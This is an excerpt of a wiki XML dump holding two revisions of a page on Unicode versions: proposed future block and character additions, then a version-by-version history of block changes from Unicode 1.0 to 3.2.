* Latin capital and small letter i with oblique stroke (total 2 characters) will be added to '''Latin Extended-D'''. (U+A7DE-U+A7DF)
* Latin capital letter u with left hook (total 1 character) will be added to '''Latin Extended-E'''. (U+AB6E)&lt;!--target: 19.0--&gt;
* Arabic Dotless Half-Yeh, Half-Yeh, Dotless Half-Jeem and Astronomical Kaf (total 4 characters) will be added to '''Arabic Extended-C'''. (U+10EC0-U+10EC1, U+10EC8, U+10EEF)&lt;!--10EC0-10EC1 target: 19.0--&gt;
* Brahmi minimizing virama (total 1 character) will be added to '''Brahmi'''. (U+1107E)&lt;!--target: 19.0--&gt;
* Tulu-Tigalari letter combining anusvara above, signs om pushpika with tail and shrii pushpika, and letter archaic II (total 5 characters) will be added to '''Tulu-Tigalari'''. (U+113CB, U+113D9-U+113DB)&lt;!--target: 19.0--&gt;
* Newa Letter Heavy Ya (total 1 character) will be added to '''Newa'''. (U+11462)
* Dogra Signs Candrabindu and Avaragha (total 2 characters) will be added to '''Dogra'''. (U+1183C-U+1183D)&lt;!--target: 19.0--&gt;
* Devanagari Jivamuliya and Upadhmaniya (total 2 characters) will be added to '''Devanagari Extended-A'''. (U+11B0B-U+11B0C)&lt;!--target: 19.0--&gt;
* White Ideographic Comma and Double Ideographic Full Stop (total 2 characters) will be added to '''Ideographic Symbols and Punctuation'''. (U+16FE5-U+16FE6)&lt;!--target: 19.0--&gt;
* Alchemical Symbol for Calx-2 and Alchemical Symbol for Retort-2 (total 2 characters) will be added to '''Miscellaneous Symbols Supplement'''. (U+1CED1, U+1CED5)&lt;!--target: 19.0--&gt;
* Musical Symbol down arrowhead breath mark (total 1 character) will be added to '''Musical Symbols Supplement'''. (U+1D282)
* Small w with palatal hook, small n and r with double middle tilde, small capital i with retroflex hook, small open q, x with stroke, small wavy y, schwa with right hook, Romance dialectology symbols, zh ligature, Albanian letter edhe, Albanian Frashëri letters, Modifier letter capital y, and modifier letter accents (total 26 characters) will be added to '''Latin Extended-G'''. (U+1DF82-U+1DF8F, U+1DF97-U+1DFA3, U+1DFC4-U+1DFCC)&lt;!--1DF82-1DF8A, 1DFC5-1DFCC target: 19.0--&gt;
*Arabic Astronomical zero and five astronomical symbols (total 6 characters) will be added to Arabic Mathematical Alphabetic Symbols (U+1EEE0-U+1EEE5)

==Roadmap Blocks==
This is a section where proportional maps of proposed allocations to Unicode and ISO/IEC 10646 are presented. Italic indicates scripts for which detailed proposals have not yet been written.&lt;ref&gt;[https://unicode.org/roadmaps/smp/]&lt;/ref&gt;

* '''Northern Palaeohispanic''' (U+10200-U+1023F)
* '''Southern Palaeohispanic''' (U+10240-U+1027F)
* '''''Shavian Quikscript''' (U+103E0-U+103FF)''
* '''Combining Diacritical Marks Extended-A''' (U+107C0-U+107FF)
* '''Proto-Sinaitic''' (U+108B0-U+108DF)
* '''''Numidian''' (U+10960-U+1097F)''
* '''Balti''' (U+10AA0-U+10ABF)
* '''Book Pahlavi''' (U+10BB0-U+10BDF)
* '''Baburi''' (U+10BE0-U+10BFF)
* '''Arabic Extended-D''' (U+10D90-U+10E5F)
* '''Landa''' (U+11250-U+1127F)
* '''Tani Lipi''' (U+114E0-U+114FF)
* '''Ranjana''' (U+11500-U+1157F)
* '''Zou''' (U+11750-U+117AF)
* '''Pyu''' (U+117B0-U+117FF)
* '''Vateluttu''' (U+11960-U+1199F)
* '''Balti-B''' (U+11CC0-U+11CFF)
* '''Tocharian''' (U+11E00-U+11E6F)
* '''Khotanese''' (U+11E70-U+11ECF)
* '''Pallava''' (U+11F60-U+11FAF)
* '''''Egyptian Hieroglyphs Extended-B''' (U+14680-U+151FF)''
* '''Mayan Hieroglyphs''' (U+15500-U+15AFF)
* '''Kore Sebeli''' (U+15B00-U+15B6F)
* '''Mandombe''' (U+15B80-U+15FFF)
* '''Wei Rma''' (U+16000-U+1604F)
* '''Wagindara''' (U+16050-U+1607F)
* '''Kurukh Banna''' (U+16140-U+1618F)
* '''Moon''' (U+161A0-U+161FF)
* '''Blissymbols''' (U+16200-U+167FF)
* '''Woleai''' (U+16B90-U+16BFF)
* '''Kpelle''' (U+16C00-U+16C7F)
* '''Tikamuli''' (U+16C80-U+16CBF)
* '''Tangsa (Khimhun)''' (U+16CD0-U+16CFF)
* '''Afaka''' (U+16D00-U+16D3F)
* '''Kulitan''' (U+16DD0-U+16DFF)
* '''''Bopomofo Extended-A''' (U+16FA0-U+16FAF)''
* '''Kanbun Extended-A''' (U+16FB0-U+16FDF)
* '''Khitan Large Script''' (U+19200-U+199FF)
* '''Pau Cin Hau Syllabary''' (U+19E00-U+1A2FF)
* '''Eskaya''' (U+1A300-U+1A75F)
* '''Rejang Extended''' (U+1A760-U+1A77F)
* '''''Kaida''''' (U+1A780-U+1A7FF)
* '''Naxi Dongba''' (U+1A800-U+1ACFF)
* '''''Naxi Geba''' (U+1AD00-U+1AFCF)''
* '''''Kana Extended-C''' (U+1AFD0-U+1AFEF)''
* '''Shuishu Logograms''' (U+1B300-U+1B5FF)
* '''Lisu Syllabic Script''' (U+1B600-U+1B9FF)
* '''Indus''' (U+1BA00-U+1BB8F)
* '''Pitman Shorthand''' (U+1BCB0-U+1BCFF)
* '''Proto-Elamite''' (U+1BE00-U+1C37F)
* '''Linear Elamite''' (U+1C380-U+1C4FF)
* '''Ndiko Jonam''' (U+1CB30-U+1CB7F)
* '''N&lt;nowiki&gt;'&lt;/nowiki&gt;ti''' (U+1CB80-U+1CBAF)
* '''Old Chinese Musical Symbols (Flute and Pipa)''' (U+1D290-U+1D2BF)
* '''''Mathematical Alphanumeric Symbols Supplement''' (U+1D380-U+1D3FF)''
* '''Jianzi Format Controls''' (U+1DAE0-U+1DAFF)
* '''Eebee Hmong''' (U+1E150-U+1E1FF)
* '''Western Cham''' (U+1E200-U+1E26F)
* '''Loma''' (U+1E300-U+1E41F)
* '''Bagam''' (U+1E420-U+1E4CF)
* '''Pungchen''' (U+1E500-U+1E52F)
* '''''Pungchung''' (U+1E530-U+1E55F)''
* '''''Marchung''' (U+1E560-U+1E59F)''
* '''Brusha''' (U+1E5A0-U+1E5CF)
* '''''Chola''' (U+1E600-U+1E65F)''
* '''Box-Headed''' (U+1E660-U+1E6BF)
* '''Lampung''' (U+1E700-U+1E73F)
* '''Kerinci''' (U+1E740-U+1E76F)
* '''Buginese Supplement''' (U+1E770-U+1E7BF)
* '''''Lontara Bilang-Bilang''' (U+1E7C0-U+1E7DF)''
* '''N'Ko Supplement''' (U+1E960-1E97F)
* '''''Byblos''''' (U+1EB90-U+1EBFF)
* '''Persian Siyaq Numbers''' (U+1EC00-U+1EC7F)
* '''Diwani Siyaq Numbers''' (U+1ECC0-U+1ECFF)
* '''''Extended Pictographic Characters''' (U+1FC00-U+1FFFF)''

== References ==
{{reflist}}</text>
      <sha1>m7edu6dp3jsw6t02k69rklbb4pyvtib</sha1>
    </revision>
    <revision>
      <id>4670532</id>
      <parentid>4670529</parentid>
      <timestamp>2026-09-17T01:32:02Z</timestamp>
      <contributor>
        <username>Alexlatham96</username>
        <id>377450</id>
      </contributor>
      <comment>/* Unicode 5.2 */ U+2E31 was originally for a separate purpose than Avestan, due to the existence of rejected U+10B38.</comment>
      <origin>4670532</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="133901" sha1="4mjeldi3n23grdmoqv43y304pcayt66" xml:space="preserve">{{pp-protected|small=yes}}
{{Unicode page}}
{{TOC right}}
{{refimprove|date=June 2017}}
This page is about each version specification, and the differences between the versions.

== Unicode 1.0 ==

Unicode 1.0 was the first version of Unicode, released October 1991. It encoded 7,094 new characters.

=== “Blocks” ===
This version of Unicode did not formally group characters in blocks. But in comparison with version 2.0, the following “blocks” were available:
U+0000-U+FFFD
51 Blocks
* '''Basic Latin (formerly called ASCII)''' (U+0000-U+007F), containing 128 characters.
* '''Latin-1 Supplement (formerly called Latin1)'''  (U+0080-U+00FF), containing 128 characters.
* '''Latin Extended-A''' '''(formerly called European Latin)''' (U+0100-U+017F), containing 127 characters.
* '''Latin Extended-B''' '''(formerly called Extended Latin)''' (U+0180-U+01FF), containing 113 characters.
* '''IPA Extensions''' '''(formerly called Standard Phonetic)''' (U+0250-U+02AF), containing 89 characters.
* '''Spacing Modifier Letters''' '''(formerly called Modifier Letters)''' (U+02B0-U+02FF), containing 57 characters.
* '''Combining Diacritical Marks''' '''(formerly called Generic Diacritical Marks)''' (U+0300-U+036F), containing 66 characters.
* '''Greek and Coptic''' '''(formerly called Greek)''' (U+0370-U+03FF), containing 112 characters.
* '''Cyrillic''' (U+0400-U+04FF), containing 192 characters.
* '''Armenian''' (U+0530-U+058F), containing 84 characters.
* '''Hebrew''' (U+0590-U+05FF), containing 52 characters.
* '''Arabic''' (U+0600-U+06FF), containing 169 characters.
* '''Devanagari''' (U+0900-U+097F), containing 104 characters.
* '''Bengali''' (U+0980-U+09FF), containing 89 characters.
* '''Gurmukhi''' (U+0A00-U+0A7F), containing 74 characters.
* '''Gujarati''' (U+0A80-U+0AFF), containing 75 characters.
* '''Oriya''' (U+0B00-U+0B7F), containing 78 characters.
* '''Tamil''' (U+0B80-U+0BFF), containing 61 characters.
* '''Telugu''' (U+0C00-U+0C7F), containing 80 characters.
* '''Kannada''' (U+0C80-U+0CFF), containing 80 characters.
* '''Malayalam''' (U+0D00-U+0D7F), containing 78 characters.
* '''Thai''' (U+0E00-U+0E7F), containing 92 characters.
* '''Lao''' (U+0E80-U+0EFF), containing 70 characters.
* '''Tibetan''' (U+1000-U+105F), containing 71 characters.
* '''Georgian''' (U+10A0-U+10FF), containing 78 characters.
* '''General Punctuation''' (U+2000-U+206F), containing 67 characters.
* '''Superscripts and Subscripts''' (U+2070-U+209F), containing 28 characters.
* '''Currency Symbols''' (U+20A0-U+20CF), containing 11 characters.
* '''Combining Marks for Symbols''' '''(formerly called Diacritical Marks for Symbols)''' (U+20D0-U+20FF), containing 18 characters.
* '''Letterlike Symbols''' (U+2100-U+214F), containing 57 characters.
* '''Number Forms''' (U+2150-U+218F), containing 48 characters.
* '''Arrows''' (U+2190-U+21FF), containing 91 characters.
* '''Mathematical Operators''' (U+2200-U+22FF), containing 242 characters.
* '''Miscellaneous Technical''' (U+2300-U+23FF), containing 43 characters.
* '''Control Pictures''' '''(formerly called Pictures for Control Codes)''' (U+2400-U+243F), containing 37 characters.
* '''Optical Character Recognition''' (U+2440-U+245F), containing 11 characters.
* '''Enclosed Alphanumerics''' (U+2460-U+24FF), containing 139 characters.
* '''Box Drawing''' '''(formerly called Form and Chart Components)''' (U+2500-U+257F), containing 128 characters.
* '''Block Elements''' '''(formerly called Blocks)''' (U+2580-U+259F), containing 22 characters.
* '''Geometric Shapes''' (U+25A0-U+25FF), containing 79 characters.
* '''Miscellaneous Symbols''' '''(formerly called Miscellaneous Dingbats)''' (U+2600-U+26FF), containing 106 characters.
* '''Dingbats''' '''(formerly called Zapf Dingbats)''' (U+2700-U+27BF), containing 160 characters.
* '''CJK Symbols and Punctuation''' (U+3000-U+303F), containing 56 characters.
* '''Hiragana''' (U+3040-U+309F), containing 90 characters.
* '''Katakana''' (U+30A0-U+30FF), containing 90 characters.
* '''Bopomofo''' (U+3100-U+312F), containing 40 characters.
* '''Hangul Compatibility Jamo (formerly called Hangul Elements)''' (U+3130-U+318F), containing 94 characters.
* '''Kanbun (formerly called CJK Miscellaneous)''' (U+3190-U+31FF), containing 16 characters.
* '''Enclosed CJK Letters and Months''' '''(formerly called''' '''Enclosed CJK Letters and Ideographs)''' (U+3200-U+32FF), containing 191 characters.
* '''CJK Compatibility''' '''(formerly called CJK Squared Words for U+3300-U+337F and CJK Squared Abbreviations for U+3380-33FF)''' (U+3300-U+33FF), containing 187 characters.
* '''Hangul''' (U+3400-U+3D2D), containing 2,350 characters.
* '''Private Use Area''' (U+E000-U+FDFF), reserved for 5,632 characters.
* '''CJK Compatibility Forms''' '''(formerly called CNS 11643 Compatibility)''' (U+FE30-U+FE4F), containing 28 characters.
* '''Small Form Variants''' '''(formerly called Small Variants)''' (U+FE50-U+FE6F), containing 26 characters.
* '''Arabic Presentation Forms-B''' '''(formerly called Basic Glyphs for Arabic Language)''' (U+FE70-U+FEFF), containing 140 characters.
* '''Halfwidth and Fullwidth Forms''' '''(formerly called Halfwidth and Fullwidth Variants)''' (U+FF00-U+FFEF), containing 216 characters.
* '''Specials''' '''(formerly called Special)''' (U+FFF0-U+FFFF), containing 1 character.

== Unicode 1.0.1 ==
Unicode 1.0.1 was released June 1992. It encoded 28,292 characters, adding 21,204 new characters and removing 6 characters, for a net increase of 21,198 characters.

=== New blocks ===

* '''CJK Unified Ideographs''' (U+4E00-U+9FFF), containing 20,902 Han Ideographs for Chinese, Japanese and Korean, was added.
* '''CJK Compatibility Ideographs''' (U+F900-U+FAFF), containing 302 Han Ideographs for compatibility with existing character sets, was added.

=== Removed characters ===
* Letters Ka and Kha with Ogonek (total 4 characters) were removed from '''Cyrillic'''. (U+04C5-U+04C6 and U+04C9-U+04CA)
* APL Compose Operator and APL Out (total 2 characters) were removed from '''Miscellaneous Technical'''. (U+2300-U+2301)

=== Rearranged characters ===
* A Japanese Industrial Standard symbol (〄) was moved from '''Enclosed CJK Letters and Months''' (U+32FF) to '''CJK Symbols and Punctuation'''. (U+3004)
*'''Circled Katakana:''' ''The characters well be arranged in modern order: e.g., A, I, U, E, O, KA, KI'' (U+32D0-U+32FE)
*'''Basic Glyphs For Arabic Language:''' ''The character shapes will be arranged in different order: Isolate, Final, Initial and Medial'' (U+FE80-FEFC)

=== Characters with semantics changed ===
*'''Zero Width Non-Joiner''' [ZWNJ] (U+20DC)

*'''Zero Width Joiner''' [ZWJ] (U+20DD)

== Unicode 1.1 ==

Unicode 1.1 was released June 1993. It encoded 34,168 characters, adding 5,969 new characters and removing 93 characters, for a net increase of 5,876 characters. It finalized the long anticipated Han Unification.

=== New blocks ===

* '''Hangul Jamo''' (U+1100-U+11FF), containing 240 ''jamo'' for the Hangul script, was added.
* '''Latin Extended Additional''' (U+1E00-U+1EFF), containing 245 precomposed characters for transliteration and Vietnamese, was added.
* '''Greek Extended''' (U+1F00-U+1FFF), containing 233 precomposed characters for polytonic Greek, was added.
* '''Hangul Supplementary-A''' (U+3D2E-U+44B7), containing 1,930 precomposed syllables for the Hangul script, was added.
* '''Hangul Supplementary-B''' (U+44B8-U+4DFF), containing 2,376 precomposed syllables for the Hangul script, was added.
* '''Alphabetic Presentation Forms''' (U+FB00-U+FB4F), containing 57 precomposed characters and ligatures, was added.
* '''Arabic Presentation Forms-A''' (U+FB50-U+FDFF), containing 593 combinations of Arabic letters, was added.
* '''Combining Half Marks''' (U+FE20-U+FE2F), containing 4 halves of diacritical marks, was added.

=== Extended blocks ===

* The long S (ſ) (total 1 character) was added to '''Latin Extended-A'''. (U+017F)
* The Hungarian Dz, characters for transliteration purposes and precomposed characters with double grave and inverted breve (total 35 characters) were added to '''Latin Extended-B''' (U+01F1-U+01F5 and U+01FA-U+0217). The block was expanded from (U+0180-U+01FF) to (U+0180-U+024F)
* Diacritics for polytonic Greek and double width diacritics (total 6 characters) were added to '''Combining Diacritical Marks'''. (U+0342-U+0345 and U+0360-U+0361)
* Compatibility character now deprecated, Ano Teleia, and other characters (total 5 characters) were added to '''Greek and Coptic''' (U+0374-U+0375, U+037A, U+037E and U+0387).
* Additional characters for non-Slavic languages (total 38 characters) were added to '''Cyrillic'''. (U+04D0-U+04EB, U+04EE-U+04F5 and U+04F8-U+04F9)
* A ligature of Ech and Yiwn (և) (total 1 character) was added to '''Armenian'''. (U+0587)
* One deprecated compatibility character and several characters for biblical texts (total 25 characters) were added to '''Arabic'''. (U+066D and U+06D6-U+06ED)
* A sign Virama (total 1 character) was added to '''Gurmukhi''' (U+0A4D).
* Letters Candra O and E (total 3 characters) were added to '''Gujarati'''. (U+0A8D, U+0A91 and U+0AC9)
* An Ai Length mark (total 1 character) was added to '''Oriya'''. (U+0B56)
* An undertie, a pair of brackets and six formatting characters now deprecated (total 9 characters) were added to '''General Punctuation'''. (U+203F, U+2045-U+2046 and U+206A-U+206F)
* Some additional symbols and the complete set of APL functional symbols (total 79 characters) were added to '''Miscellaneous Technical'''. (U+2300 and U+232D-U+237A)
* A large circle (◯) (total 1 character) was added to '''Geometric Shapes'''. (U+25EF)
* The ideographic telegraph line feed separator symbol (〷) (total 1 character) was added to '''CJK Symbols and Punctuation'''. (U+3037)
* Four Katakana letters not in use since 1945 (total 4 characters) were added to '''Katakana'''. (U+30F7-U+30FA)
* Ideographic telegraph symbols for the twelve months (total 12 characters) were added to '''Enclosed CJK Letters and Months'''. (U+32C0-U+32CB)
* Ideographic telegraph symbols for hours and days and six additional measure units (total 62 characters) were added to '''CJK Compatibility'''. (U+3358-U+3376 and U+33E0-U+33FE)
* Some more space (total 2,304 characters) was added to the '''Private Use Area'''.
* Seven halfwidth geometric shapes (total 7 characters) were added to '''Halfwidth and Fullwidth Forms'''. (U+FFE8-U+FFEE)

=== Removed blocks ===
* '''Tibetan''', containing 71 letters for the Tibetan script, was removed from the Unicode standard.

=== Removed characters ===
* A total of 10 characters were removed from '''Greek and Coptic'''. (U+0370-U+0372, U+03D7-U+03D9, U+03DB, U+03DD, U+03DF, and U+03E1)
* Point Varika (total 1 character) was removed from '''Hebrew'''. (U+05F5)
* Phonetic Order Vowel Signs (total 5 characters) were removed from '''Thai'''. (U+0E70-U+0E74)
* Phonetic Order Vowel Signs (total 5 characters) were removed from '''Lao'''. (U+0EF0-U+0EF4)
* An Ideographic Ditto Mark (total 1 character) was removed from '''CJK Symbols and Punctuation''' (U+3004) and merged with CJK Unified Ideograph-4EDD.

=== Rearranged characters ===
* Greek character U+03F3 was changed from Spacing Tonos to Letter Yot.
* A Japanese Industrial Standard symbol (〄) was moved from '''Enclosed CJK Letters and Months''' (U+32FF) to '''CJK Symbols and Punctuation'''. (U+3004)

== Unicode 2.0 ==

Unicode 2.0 was released July 1996. It encoded 38,885 characters, adding 11,373 new characters and removing 6,656 characters, for a net increase of 4,717 characters. This was the first Unicode version to reserve blocks outside of the Basic Multilingual Plane.

=== New blocks ===

* '''Hangul Syllables''' (U+AC00-U+D7AF), containing 11,172 precomposed syllables for the Hangul script, was added.
* '''High Surrogates''' (U+D800-U+DB7F), setting aside 896 codepoints for encoding UTF-16 surrogate pairs, was added.
* '''High Private Use Surrogates''' (U+DB80-U+DBFF), setting aside 128 codepoints for encoding UTF-16 surrogate pairs, was added.
* '''Low Surrogates''' (U+DC00-U+DFFF), setting aside 1,024 codepoints for encoding UTF-16 surrogate pairs, was added.
* '''Supplementary Private Use Area-A''' (U+F0000-U+FFFFF), reserving 65,534 characters for private use, was added.
* '''Supplementary Private Use Area-B''' (U+100000-U+10FFFF), reserving 65,534 characters for private use, was added.

=== Reinstated blocks ===

* '''Tibetan''' (U+0F00-U+0FFF), now containing 168 characters for the Tibetan script including religious signs, was readded.

=== Removed blocks ===

* '''Hangul''', containing 2,350 precomposed syllables for the Hangul script, was removed from the Unicode standard.
* '''Hangul Supplementary-A''', containing 1,930 precomposed syllables for the Hangul script, was removed from the Unicode standard.
* '''Hangul Supplementary-B''', containing 2,376 precomposed syllables for the Hangul script, was removed from the Unicode standard.

=== Extended blocks ===

* Cantillation marks for use in religious texts (total 31 characters) were added to '''Hebrew'''. (U+0591-U+05A1, U+05A3-U+05AF and U+05C4)
* A long S with Dot Above (total 1 character) was added to '''Latin Extended Additional'''. (U+1E9B)
* A Vietnamese Dong sign (total 1 character) was added to '''Currency Symbols'''. (U+20AB)

== Unicode 2.1 ==

Unicode 2.1 was released May 1998. It encoded 38,887 characters, adding only 2 new characters.

=== Extended blocks ===

* A Euro sign (total 1 character) was added to '''Currency Symbols'''. (U+20AC)
* An Object Replacement Character (total 1 character) was added to '''Specials'''. (U+FFFC)

== Unicode 3.0 ==

Unicode 3.0 was released September 1999. It was a big update and encoded 49,194 characters, adding 10,307 new characters.

=== New blocks ===

* '''Syriac''' (U+0700-U+074F), containing 71 characters used for writing in Syriac script, was added.
* '''Thaana''' (U+0780-U+07BF), containing 49 characters used for writing in Thaana script, was added.
* '''Sinhala''' (U+0D80-U+0DFF), containing 80 characters for the Sinhala script, was added.
* '''Myanmar''' (U+1000-U+109F), containing 78 characters for the Burmese script, was added.
* '''Ethiopic''' (U+1200-U+137F), containing 345 syllables and punctuation marks for the Ethiopic script, was added.
* '''Cherokee''' (U+13A0-U+13FF), containing 85 syllables for the Cherokee script, was added.
* '''Unified Canadian Aboriginal Syllabics''' (U+1400-U+167F), containing 630 syllables and punctuation marks for writing in indigenous languages of Canada, was added.
* '''Ogham''' (U+1680-U+169F), containing 29 characters for the ancient Ogham script, was added.
* '''Runic''' (U+16A0-U+16FF), containing 81 characters for the Germanic runes, was added.
* '''Khmer''' (U+1780-U+17FF), containing 103 characters for the Khmer script, was added.
* '''Mongolian''' (U+1800-U+18AF), containing 155 characters for the classical Mongolian script, was added.
* '''Braille Patterns''' (U+2800-U+28FF), containing 256 Braille letters, was added.
* '''CJK Radicals Supplement''' (U+2E80-U+2EFF), containing 115 non-Kangxi radicals, was added.
* '''Kangxi Radicals''' (U+2F00-U+2FDF), containing 214 radicals from the Kangxi dictionary, was added.
* '''Ideographic Description Characters''' (U+2FF0-U+2FFF), containing 12 characters used to describe a Han ideograph not available in the font, was added.
* '''Bopomofo Extended''' (U+31A0-U+31BF), containing 24 characters used for phonetic transcription of minority languages of Taiwan, was added.
* '''CJK Unified Ideographs Extension A''' (U+3400-U+4DBF), containing 6,582 additional Han Ideographs, was added.
* '''Yi Syllables''' (U+A000-U+A48F), containing 1,165 syllables of the modern Yi script, was added.
* '''Yi Radicals''' (U+A490-U+A4CF), containing 50 radicals of Yi Syllables, was added.

=== Extended blocks ===

* Additional precomposed characters, letters and capital letters of lowercase-only letters (total 30 characters) were added to '''Latin Extended-B'''. (U+01F6-U+01F9, U+0218-U+021F and U+0222-U+0233)
* Extensions for disordered speech (total 5 characters) were added to '''IPA Extensions'''. (U+02A9-U+02AD)
* Some additional modifier letters (total 6 characters) were added to '''Spacing Modifier Letters'''. (U+02DF and U+02EA-U+02EE)
* Additional combining diacritics for IPA (total 10 characters) were added to '''Combining Diacritical Marks'''. (U+0346-U+034E and U+0362)
* Lowercase versions of archaic letters and the Kai symbol (total 5 characters) were added to '''Greek and Coptic'''. (U+03D7, U+03DB, U+03DD, U+03DF and U+03E1)
* Nonstandard letters for Macedonian, combining numeral signs and three letters for Kildin Sami (total 12 characters) were added to '''Cyrillic'''. (U+0400, U+040D, U+0450, U+045D, U+0488-U+0489, U+048C-U+048F and U+04EC-U+04ED)
* A Hyphen (total 1 character) was added to '''Armenian'''. (U+058A)
* Combining hamza and maddah and nine additional Arabic characters (total 12 characters) were added to '''Arabic'''. (U+0653-U+0655, U+06B8-U+06B9, U+06BF, U+06CF and U+06FA-U+06FE)
* Additional letters and religious symbols (total 25 characters) were added to '''Tibetan'''. (U+0F6A, U+0F96, U+0FAE-U+0FB0, U+0FB8, U+0FBA-U+0FBC, U+0FBE-U+0FCC and U+0FCF)
* A narrow no-break space and 6 additional punctuation marks (total 7 characters) were added to '''General Punctuation'''. (U+202F and U+2048-U+204D)
* The Kip, Tugrik and Drachma sign (total 3 characters) were added to '''Currency Symbols'''. (U+20AD-U+20AF)
* An enclosing screen and an enclosing key (total 2 characters) were added to '''Combining Diacritical Marks for Symbols'''. (U+20E2-U+20E3)
* The information symbol and a rotated Q (total 2 characters) were added to '''Letterlike Symbols'''. (U+2139-U+213A)
* A mirrored Roman capital numeral hundred (Ↄ) (total 1 character) was added to '''Number Forms'''. (U+2183)
* Some additional arrows (total 9 characters) were added to '''Arrows'''. (U+21EB-U+21F3)
* Some additional technical symbols, including common keys on a 101 keyboard (total 33 characters) were added to '''Miscellaneous Technical'''. (U+2301, U+237B and U+237D-U+239A)
* Two additional control pictures (total 2 characters) were added to '''Control Pictures'''. (U+2425-U+2426)
* Squares and circles with quadrants (total 8 characters) were added to '''Geometric Shapes'''. (U+25F0-U+25F7)
* Two Syriac crosses and a signature mark (total 3 characters) were added to '''Miscellaneous Symbols'''. (U+2619 and U+2670-U+2671)
* Three Hangzhou numerals and a variation indicator (total 4 characters) were added to '''CJK Symbols and Punctuation'''. (U+3038-U+303A and U+303E)
* A ligature Yod with Hiriq (יִ) (total 1 character) was added to '''Alphabetic Presentation Forms'''. (U+FB1D)
* Three additional control characters for ruby markup (total 3 characters) were added to '''Specials'''. (U+FFF9-U+FFFB)

== Unicode 3.1 ==

Unicode 3.1 was released March 2001. It encoded 94,140 characters, adding 44,946 new characters, and mainly focused on blocks outside of the Basic Multilingual Plane.

=== New blocks ===

* '''Old Italic''' (U+10300-U+1032F), containing 35 letters for the Etruscan script, was added.
* '''Gothic''' (U+10330-U+1034F), containing 27 letters for the Gothic script, was added.
* '''Deseret''' (U+10400-U+1044F), containing 76 letters for the constructed Deseret script, was added.
* '''Byzantine Musical Symbols''' (U+1D000-U+1D0FF), containing 246 symbols for musical notation in Byzantine, was added.
* '''Musical Symbols''' (U+1D100-U+1D1FF), containing 219 characters for current musical notation, was added.
* '''Mathematical Alphanumeric Symbols''' (U+1D400-U+1D7FF), containing 991 Latin and Greek letters in serif, sans-serif, bold, italic, double-struck, script and Fraktur/Blackletter, was added.
* '''CJK Unified Ideographs Extension B''' (U+20000-U+2A6DF), containing 42,711 additional Chinese Ideographs, was added.
* '''CJK Compatibility Ideographs Supplement''' (U+2F800-U+2FA1F), containing 542 additional Chinese Ideographs for compatibility purposes, was added.
* '''Tags''', containing 97 language tags, was added. (U+E0000-U+E007F)

=== Extended noncharacters ===

* The Noncharacters range: U+FDD0..U+FDEF were added to '''Arabic Presentation Forms-A'''.

=== Extended blocks ===

* The capital Theta symbol and the Lunate Epsilon symbol (total 2 characters) were added to '''Greek and Coptic'''. (U+03F4-U+03F5)

=== Characters and Scripts Under Investigation or Rejected ===
* Khmer Sign Laak Was Rejected. (U+17DD) From '''Khmer.'''
* Georgian Letter U-Brjuu Was Rejected. From '''Georgian.'''

== Unicode 3.2 ==

Unicode 3.2 was released March 2002. It encoded 95,156 characters, adding 1,016 new characters.

=== New blocks ===

* '''Cyrillic Supplementary (now Cyrillic Supplement)''' (U+0500-U+052F), containing 16 characters used for the Komi language, was added.
* '''Tagalog''' (U+1700-U+171F), containing 20 characters for the Baybayin script, was added.
* '''Hanunoo''' (U+1720-U+173F), containing 23 characters and punctuation for the Hanunó'o script, was added.
* '''Buhid''' (U+1740-U+175F), containing 20 characters for the Buhid script, was added.
* '''Tagbanwa''' (U+1760-U+177F), containing 18 characters for the Tagbanwa script, was added.
* '''Miscellaneous Mathematical Symbols-A''' (U+27C0-U+27EF), containing 28 symbols used in math notation, was added.
* '''Supplemental Arrows-A''' (U+27F0-U+27FF), containing 16 additional arrows, was added.
* '''Supplemental Arrows-B''' (U+2900-U+297F), containing 128 special arrows, was added.
* '''Miscellaneous Mathematical Symbols-B''' (U+2980-U+29FF), containing 128 additional mathematical symbols, was added.
* '''Supplemental Mathematical Operators''' (U+2A00-U+2AFF), containing 256 additional mathematical operators, was added.
* '''Katakana Phonetic Extensions''' (U+31F0-U+31FF), containing 16 Katakana letters used for Ainu, was added.
* '''Variation Selectors''' (U+FE00-U+FE0F), containing 16 symbols used for indicating variations, was added.

=== Extended blocks ===

* A capital letter N with Long Right Leg (total 1 character) was added to '''Latin Extended-B'''. (U+0220)
* The combining grapheme joiner and combining Latin letters used in medieval texts (total 14 characters) were added to '''Combining Diacritical Marks'''. (U+034F and U+0363-U+036F)
* The Qoppa and a reversed lunate epsilon symbol (total 3 characters) were added to '''Greek and Coptic'''. (U+03D8-U+03D9 and U+03F6)
* Four additional letters used for the Kildin Sami language (total 8 characters) were added to '''Cyrillic'''. (U+048A-U+048B, U+04C5-U+04C6, U+04C9-U+04CA and U+04CD-U+04CE)
* A dotless Beh and a dotless Qaf (total 2 characters) were added to '''Arabic'''. (U+066E-U+066F)
* A Letter for Addu dialect (total 1 character) was added to '''Thaana'''. (U+07B1)
* The letters Yn and Elifi (total 2 characters) were added to '''Georgian'''. (U+10F7-U+10F8)
* Some additional punctuation marks and control characters (total 12 characters) were added to '''General Punctuation'''. (U+2047, U+204E-U+2052, U+2057 and U+205F-U+2063)
* A superscript letter I (total 1 character) was added to '''Superscripts and Subscripts'''. (U+2071)
* German Penny and Peso sign (total 2 characters) were added to '''Currency Symbols'''. (U+20B0-U+20B1)
* Some additional combining characters (total 7 characters) were added to '''Combining Diacritical Marks for Symbols'''. (U+20E4-U+20EA)
* Some double-struck and reversed/turned letters (total 15 characters) were added to '''Letterlike Symbols'''. (U+213D-U+214B)
* Some additional arrows (total 12 characters) were added to '''Arrows'''. (U+21F4-U+21FF)
* Some additional mathematical operators (total 14 characters) were added to '''Mathematical Operators'''. (U+22F2-U+22FF)
* Variable-width and additional symbols (total 53 characters) were added to '''Miscellaneous Technical'''. (U+237C and U+239B-U+23CE)
* Black and double circled numerals (total 20 characters) were added to '''Enclosed Alphanumerics'''. U+24EB-U+24FE)
* Quadrant elements (total 10 characters) were added to '''Block Elements'''. (U+2596-U+259F)
* Some additional triangles and squares (total 8 characters) were added to '''Geometric Shapes'''. (U+25F8-U+25FF)
* Shogi pieces ,recycling symbols, dices and dotted circles (total 24 characters) were added to '''Miscellaneous Symbols'''. (U+2616-U+2617, U+2672-U+267D and U+2680-U+2689)
* Additional parenthesis (total 14 characters) were added to '''Dingbats'''. (U+2768-U+2775)
* Three additional marks (total 3 characters) were added to '''CJK Symbols and Punctuation'''. (U+303B-U+303D)
* A digraph and two additional characters (total 3 characters) were added to '''Hiragana'''. (U+3095-U+3096 and U+309F)
